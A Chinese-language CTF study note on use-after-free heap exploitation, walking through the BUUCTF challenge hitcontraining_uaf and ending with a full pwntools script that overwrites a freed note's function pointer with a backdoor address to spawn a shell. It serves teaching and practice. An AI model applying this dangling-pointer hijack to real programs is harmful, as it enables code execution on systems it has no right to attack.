知识点

学到这里感觉学的很乱,感觉什么都要去了解,但是什么都不是很了解,可能学到后面的点把这些知识点串起来就好了吧。

UAF

use after free顾名思义就是在这个chunk被free后面进行利用

当一个chunk被free后,这个函数内部的数据不会马上清除,这些数据会被保留在原来的位置,然后这个chunk会被标记为free后,并且会根据chunk的大小被分到不同的bin中去,有(fastbin,unsorted bin,large bin….)这些bin就是以链表的形势把这些free后chunk链在一起

例题

下面以buu上面的hitcontraining_uaf进行说明

这个题目应该在glibc2.23环境中运行,但是这个题目大部分环境都可以打,就没改了

检查保护

2

ida打开

1

函数运行的时候会进行菜单选择

3

这里的delete函数中5

这里可以看到free掉函数后面没有把函数的指针置零

因此这里存在漏洞

同时这个题目存在后门函数

4

先申请两个堆块

6

7

这个时候再free掉

8

9

free后面的bin

10

这个时候我们add(0x10,magic_addr)

11

因为在printf函数中是先申请note_list中的地址,在fastbin中(tcachebins)中也差不多,有着先进后出的规则,又因为bin中会把大小相似的的chunk再次申请,因此在chunk0的notelist是chunk2的notechunk(可以写入),所以我们调用chunk0中的printf函数就是调用了后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
r=process('./pwn')
gdb.attach(r)
pause()
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)

def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))

def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')

delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()